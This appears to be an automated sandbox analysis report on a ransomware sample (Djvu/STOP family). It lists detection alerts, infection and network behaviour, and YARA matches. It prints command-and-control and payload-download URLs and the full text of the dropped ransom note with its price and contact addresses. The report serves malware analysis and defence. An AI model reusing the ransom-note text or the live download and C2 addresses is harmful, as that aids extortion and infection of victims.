Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\) source: 16oApcahEa.exe, 00000006.00000003.2627886337.0000000003271000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2650083265.0000000003267000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2651269787.0000000003275000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2648975953.0000000003267000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2648439701.0000000003267000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: 16oApcahEa.exe, 00000006.00000003.2648315935.00000000032C4000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2650561800.00000000032E0000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2628546874.00000000032DF000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2627346648.00000000032DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\" source: 16oApcahEa.exe, 00000006.00000003.2598457927.0000000003551000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2628989933.0000000003551000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2649958078.0000000003569000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\! source: 16oApcahEa.exe, 00000006.00000003.2608715299.0000000003569000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\)t source: 16oApcahEa.exe, 00000006.00000003.2574208274.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530699362.000000000319A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574283198.0000000003198000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003173000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\40\ source: 16oApcahEa.exe, 00000006.00000003.2412967181.0000000003173000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2413305123.0000000003196000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\* source: 16oApcahEa.exe, 00000006.00000003.2412967181.0000000003137000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: 16oApcahEa.exe, 00000006.00000003.2676291403.0000000003666000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2677093873.0000000003714000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2676488102.00000000036DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*ory\\\ source: 16oApcahEa.exe, 00000006.00000003.2530950914.0000000003120000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\*c source: 16oApcahEa.exe, 00000006.00000003.2628989933.0000000003551000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2649958078.0000000003569000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 16oApcahEa.exe, 00000006.00000003.2608529242.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2628652314.00000000035BC000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2628279440.00000000035BC000.00000004.00000020.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\16oApcahEa.exe

System file written: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalState\ThirdPartyNotice.html

Jump to behavior

Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	2_2_00410160
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	2_2_0040F730
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	2_2_0040FB98
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	6_2_0040F730
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00410160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	6_2_00410160
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	6_2_0040FB98

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2020826 - Severity 1 - ET MALWARE Potential Dridex.Maldoc Minimal Executable Request : 192.168.2.5:49706 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2036333 - Severity 1 - ET MALWARE Win32/Vodkagats Loader Requesting Payload : 192.168.2.5:49706 -> 92.246.89.93:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://rlrz.org/fhsgtsspen6/get.php

Source: global traffic

TCP traffic: 192.168.2.5:54678 -> 162.159.36.2:53

Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1
Source: Joe Sandbox View	IP Address: 92.246.89.93 92.246.89.93

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49706 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49705 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49707 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49704 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49762 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49711 -> 104.21.32.1:443

Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\16oApcahEa.exe

Code function: 2_2_0040CF10 _memset,InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

2_2_0040CF10

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: znpst.top

Source: 16oApcahEa.exe, 00000006.00000003.2342670830.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: 16oApcahEa.exe, 00000006.00000003.2343114687.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.twitter.com/ equals www.twitter.com (Twitter)
Source: 16oApcahEa.exe, 00000006.00000003.2343224797.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.youtube.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: api.2ip.ua
Source: global traffic	DNS traffic detected: DNS query: znpst.top
Source: global traffic	DNS traffic detected: DNS query: rlrz.org
Source: global traffic	DNS traffic detected: DNS query: 171.39.242.20.in-addr.arpa

Source: 16oApcahEa.exe, 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, 16oApcahEa.exe, 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 16oApcahEa.exe, 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, 16oApcahEa.exe, 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 16oApcahEa.exe, 00000007.00000002.3282232782.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 16oApcahEa.exe, 00000008.00000002.2208558716.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000A.00000002.2219098223.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000B.00000002.2290687050.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000C.00000002.2299360619.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: 16oApcahEa.exe, 00000006.00000002.2683985860.0000000000791000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000007.00000002.3282500869.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rlrz.org/fhsgtsspen6/get.php
Source: 16oApcahEa.exe, 00000007.00000002.3282500869.0000000000866000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000007.00000002.3282500869.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rlrz.org/fhsgtsspen6/get.php?pid=903E7F261711F85395E5CEFBF4173C54
Source: 16oApcahEa.exe, 00000007.00000002.3282500869.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rlrz.org/fhsgtsspen6/get.php?pid=903E7F261711F85395E5CEFBF4173C54%
Source: 16oApcahEa.exe, 00000006.00000002.2683985860.00000000006F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rlrz.org/fhsgtsspen6/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true
Source: 16oApcahEa.exe, 00000007.00000002.3282500869.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rlrz.org/fhsgtsspen6/get.php?pid=903E7F261711F85395E5CEFBF4173C54M
Source: 16oApcahEa.exe, 00000007.00000002.3282500869.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rlrz.org/fhsgtsspen6/get.php?pid=903E7F261711F85395E5CEFBF4173C54e
Source: 16oApcahEa.exe, 00000006.00000002.2683985860.0000000000791000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000007.00000002.3282500869.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rlrz.org/fhsgtsspen6/get.phpl
Source: 16oApcahEa.exe, 00000006.00000002.2683985860.0000000000737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rlrz.org/fhsgtsspen6/get.phpu
Source: 16oApcahEa.exe, 00000006.00000002.2683985860.0000000000737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rlrz.org/files/1/build3.exe
Source: 16oApcahEa.exe, 00000007.00000002.3282500869.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rlrz.org/files/1/build3.exe$run
Source: 16oApcahEa.exe, 00000006.00000002.2683985860.0000000000737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rlrz.org/files/1/build3.exe$runad
Source: 16oApcahEa.exe, 00000006.00000003.2342565385.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.amazon.com/
Source: 16oApcahEa.exe, 00000006.00000003.2342747311.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/
Source: 16oApcahEa.exe, 00000006.00000003.2342911966.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.live.com/
Source: 16oApcahEa.exe, 00000006.00000003.2342968937.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.nytimes.com/
Source: 16oApcahEa.exe, 0000000C.00000002.2299360619.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: 16oApcahEa.exe, 00000006.00000003.2343024174.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.reddit.com/
Source: 16oApcahEa.exe, 00000006.00000003.2343114687.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.twitter.com/
Source: 16oApcahEa.exe, 00000006.00000003.2343170615.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.wikipedia.com/
Source: 16oApcahEa.exe, 00000006.00000003.2343224797.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/
Source: 16oApcahEa.exe, 00000006.00000002.2683985860.0000000000791000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000002.2683985860.0000000000737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://znpst.top/dl/build2.exe
Source: 16oApcahEa.exe, 00000006.00000002.2683985860.0000000000737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://znpst.top/dl/build2.exe$run
Source: 16oApcahEa.exe, 00000006.00000002.2683985860.00000000006F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://znpst.top/dl/build2.exeyD
Source: 16oApcahEa.exe, 0000000C.00000002.2299582929.00000000007F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/
Source: 16oApcahEa.exe, 00000002.00000002.2077399263.0000000000737000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000002.00000003.2067319993.0000000000747000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/(
Source: 16oApcahEa.exe, 0000000A.00000002.2220287976.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua//
Source: 16oApcahEa.exe, 00000006.00000003.2121908039.0000000000745000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/A
Source: 16oApcahEa.exe, 0000000C.00000002.2299582929.00000000007F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/C
Source: 16oApcahEa.exe, 00000006.00000003.2121908039.0000000000745000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000002.2683985860.0000000000737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/U
Source: 16oApcahEa.exe, 0000000C.00000002.2299582929.00000000007B8000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000C.00000002.2299582929.00000000007F6000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000C.00000002.2299360619.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: 16oApcahEa.exe, 0000000A.00000002.2220546409.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000A.00000003.2218391763.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json&c
Source: 16oApcahEa.exe, 00000007.00000002.3282500869.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json)
Source: 16oApcahEa.exe, 00000007.00000002.3282500869.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000C.00000002.2299582929.00000000007F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json/
Source: 16oApcahEa.exe, 0000000C.00000002.2299582929.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json:4
Source: 16oApcahEa.exe, 00000006.00000003.2121908039.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonJ
Source: 16oApcahEa.exe, 0000000A.00000002.2220546409.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000A.00000003.2218391763.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonNb6
Source: 16oApcahEa.exe, 0000000C.00000002.2299582929.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonW
Source: 16oApcahEa.exe, 0000000C.00000002.2299582929.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonc
Source: 16oApcahEa.exe, 0000000C.00000002.2299582929.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonl
Source: 16oApcahEa.exe, 0000000A.00000002.2220287976.0000000000868000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsons
Source: 16oApcahEa.exe, 0000000A.00000002.2220287976.0000000000868000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsontwn
Source: 16oApcahEa.exe, 0000000A.00000002.2220287976.0000000000868000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonz
Source: 16oApcahEa.exe, 0000000C.00000002.2299582929.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonz;
Source: 16oApcahEa.exe, 00000007.00000002.3282500869.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/h
Source: 16oApcahEa.exe, 00000006.00000002.2684294741.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2682617657.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000007.00000002.3282500869.0000000000874000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-xl2bbDnZ
Source: 16oApcahEa.exe, 00000007.00000002.3282500869.0000000000874000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-xl2bbDnZI
Source: 16oApcahEa.exe, 00000006.00000002.2684294741.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2682617657.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2682339966.00000000030E6000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2682945162.00000000030E7000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000007.00000002.3282500869.0000000000874000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000007.00000002.3282500869.000000000087E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000007.00000002.3282500869.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-xl2bbDnZSN
Source: 16oApcahEa.exe, 00000006.00000002.2684294741.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2682617657.00000000007B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-xl2bbDnZY

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49762 version: TLS 1.2

Source: C:\Users\user\Desktop\16oApcahEa.exe

Code function: 2_2_004822E0 CreateDCA,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetObjectA,BitBlt,GetBitmapBits,SelectObject,DeleteObject,DeleteDC,DeleteDC,DeleteDC,

2_2_004822E0

Spam, unwanted Advertisements and Ransom Demands

Found ransom note / readme

Source: C:\_readme.txt

Dropped file: ATTENTION!Don't worry, you can return all your files!All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.The only method of recovering files is to purchase decrypt tool and unique key for you.This software will decrypt all your encrypted files.What guarantees you have?You can send one of your encrypted file from your PC and we decrypt it for free.But we can decrypt only 1 file for free. File must not contain valuable information.You can get and look video overview decrypt tool:https://we.tl/t-xl2bbDnZSNPrice of private key and decrypt software is $980.Discount 50% available if you contact us first 72 hours, that's price for you is $490.Please note that you'll never restore your data without payment.Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.To get this software you need write on our e-mail:manager@mailtemp.chReserve e-mail address to contact us:supporthelp@airmail.ccYour personal ID:0338gSd743dxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1

Jump to dropped file

Yara detected Babuk Ransomware

Source: Yara match	File source: Process Memory Space: 16oApcahEa.exe PID: 2380, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 16oApcahEa.exe PID: 5316, type: MEMORYSTR

Yara detected Djvu Ransomware

Source: Yara match	File source: 2.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.16oApcahEa.exe.4ce15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.16oApcahEa.exe.4d515a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.16oApcahEa.exe.4c915a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.16oApcahEa.exe.4ce15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.16oApcahEa.exe.4ce15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.16oApcahEa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.16oApcahEa.exe.4d515a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.16oApcahEa.exe.4cd15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.16oApcahEa.exe.4c915a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.16oApcahEa.exe.4cd15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.16oApcahEa.exe.4ce15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2290687050.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2208558716.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2219098223.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2299360619.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3282232782.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 16oApcahEa.exe PID: 3792, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 16oApcahEa.exe PID: 6388, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 16oApcahEa.exe PID: 5068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 16oApcahEa.exe PID: 6556, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 16oApcahEa.exe PID: 2380, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 16oApcahEa.exe PID: 5316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 16oApcahEa.exe PID: 3560, type: MEMORYSTR
